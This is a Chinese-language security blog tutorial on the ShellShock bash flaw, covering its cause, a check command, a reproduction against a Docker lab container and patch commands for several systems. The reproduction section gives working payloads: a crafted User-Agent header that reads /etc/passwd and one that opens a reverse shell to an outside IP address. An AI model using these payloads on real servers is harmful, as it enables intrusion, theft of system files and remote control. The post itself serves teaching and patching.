詳解ShellShock 漏洞復現原理,內附ShellShock的修復方法

懸鏡AI安全發表於2017-05-31
      本篇文章適合初學ShellShock漏洞閱讀,如果您已經學習過ShellShock漏洞,可以直接略過。本篇是我們懸鏡安全實驗室成員之一Kr0iNg's 在學習ShellShock時分享的一點心得,僅供大家參考學習。

ShellShock漏洞出現時間很早,相信很多人也對ShellShock漏洞有很多的認識了。最近又看學習了下ShellShock漏洞,自己也有一些心得想要分享。

下面我將從4個方面來分享下ShellShock

第一:什麼是ShellShock漏洞

第二:漏洞原理分析

第三:漏洞復現

第四:ShellShock的修復方法

0x00 什麼是ShellShock漏洞

Shellshock的原理是利用了Bash在匯入環境變數函式時候的漏洞,啟動Bash的時候,它不但會匯入這個函式,而且也會把函式定義後面的命令執行。

在有些CGI指令碼的設計中,資料是通過環境變數來傳遞的,這樣就給了資料提供者利用Shellshock漏洞的機會。

簡單來說就是由於伺服器的cgi指令碼呼叫了bash命令,由於bash版本過低,攻擊者把有害資料寫入環境變數,傳到伺服器端,觸發伺服器執行Bash指令碼,完成攻擊。

0x01 預備知識

以root許可權安裝4.1版本的bash

下載連結:bash4.1 

下載:

wget http://labfile.oss.aliyuncs.com/bash-4.1.tar.gz

安裝:

$ tar xf bash-4.1.tar.gz
$ cd bash-4.1
$ ./configure
$ make & make install

安裝完成

檢視bash版本號

$bash -version

漏洞資訊最早來源於國外知名漏洞網站exploit-db下的第34765篇漏洞報告,其中出現了一條驗證命令:

env x='() { :;}; echo vulnerable' bash -c "echo this is a test "

如果在一個含有版本號小於bash 4.3的linux或者unix系統,本地執行以上命令,可能會得到以下輸出:

 Vulnerable this is a test

其中如果出現第一行vulnerable則說明該系統存在一個由bash程式缺陷導致的任意命令執行漏洞。

本地執行結果如下:

輸出vulnerable的話,說明bash有漏洞。

0x02漏洞原理分析

瞭解bash自定義函式,只需要函式名就能夠呼叫該函式。

funtion ShellShock {
 echo "Injection"
} 
ShellShock   #呼叫這個函式

這個時候的Bash的環境變數:

KEY = ShellShock
VALUE = () { echo Injection; }

來看看ShellShock漏洞的真身:

export ShellShock='() { :; }; echo;/usr/bin/whoami'
bash
>Kr0iNg

為什麼呼叫bash的時候輸出Injection了呢,看看它內部情況:

KEY = ShellShock
VALUE = () { :; }; echo;/usr/bin/whoami

bash讀取了環境變數,在定義ShellShock之後直接呼叫了後面的bash命令。

一旦呼叫bash,自定義的語句就直接觸發。

正常執行過程

我們先來看一下這個漏洞形成的原因。這個問題的發生是因為Bash的一個功能,它允許在Bash的shell中使用環境變數來定義函式。

函式的作用是把經常呼叫的程式碼封裝起來,然後在其他地方呼叫,所有的大多數指令碼語言都有這個功能。

Bash中函式的定義是這樣的:

function ShellShock{
   echo hello
}
hello   #呼叫這個函式

但是,Bash還有一種使用環境變數來定義函式的方法,這是它的特性。

如果環境變數的值以字元"() {"開頭,那麼這個變數就會被當作是一個匯入函式的定義(Export),這種定義只有在shell啟動的時候才生效。

➜  ~ export ShellShock="() { echo Hello ShellShock; }"
➜  ~ ShellShock
bash:ShellShock: command not found
➜  ~ bash
bash-4.1$ ShellShock
Hello ShellShock
bash-4.1$ 

利用存在漏洞版本的bash用export引入觸發ShellShock來執行程式碼測試。

這段的意思就是引入ShellShock這個函式(函式名可任意)

export ShellShock="() { echo This is ShellShock; }

分號作為分隔 來執行系統命令

;echo;/usr/bin/whoami

0x03漏洞復現

我用docker在本地pull了一份存在Shellshock漏洞的程式進行測試。

docker搭建、安裝教程docker安裝教程

docker run -d -p 8000:80 -v /Users/Kr0iNg/Desktop/路徑 漏洞映象名稱:latest

將它的埠轉發到本機進行訪問。

訪問127.0.0.1:8000

進行Shellshock漏洞測試,使用工具curl。

測試命令:

curl -A "() { echo ShellShock; }; echo; /bin/cat /etc/passwd" http://127.0.0.1:8000/cgi-bin/vulnerable

使用curl -A 或者 -H 引數模擬Http頭命令,並呼叫“cat /etc/passwd”讀passwd檔案,傳送到存在Bash漏洞的docker容器,成功讀取到了passwd檔案內容。

我本地測試截圖:

用Burpsuite來進行測試。

修改http協議中的User-Agent欄位為:

() { :; };echo;/bin/cat /etc/passwd

成功讀取passwd檔案。

傳送http請求進行測試反彈shell。

伺服器開啟監聽:

模擬瀏覽器頭:

User-Agent: () { :; };echo;/bin/bash -i >& /dev/tcp/47.92.80.16/1234 0>&1

反彈成功,可以檢視使用者名稱,目錄,系統版本等資訊。

0x04ShellShock的修復方法

現在可以按照下面方式進行Bash的升級修復:

作業系統 升級方式

Ubuntu/Debian apt-get update

               apt-get install bash

RedHat/CentOS/Fedora yum update -y bash

Arch Linux pacman -Syu

OS X brew update

  brew install bash
  sudo sh -c 'echo "/usr/local/bin/bash" >> /etc/shells'
  chsh -s /usr/local/bin/bash
  sudo mv /bin/bash /bin/bash-backup
  sudo ln -s /usr/local/bin/bash /bin/bash

MacPorts sudo port self update

   sudo port upgrade bash

以上為懸鏡安全實驗室原創文章,如需轉載請標註:http://www.x-mirror.cn/

懸鏡安全實驗室

懸鏡安全實驗室作為安普諾核心的網路攻防研究團隊,主要負責前言安全技術研究和為企業客戶提供專業的安全保障及安全諮詢等服務,主要包括:基於深度學習的WEB威脅檢測引擎研究、惡意樣本分析、APT模擬攻擊測試、高階滲透測試、主機安全巡檢、安全事件應急響應、伺服器防黑加固及安卓App風險評估等。

相關文章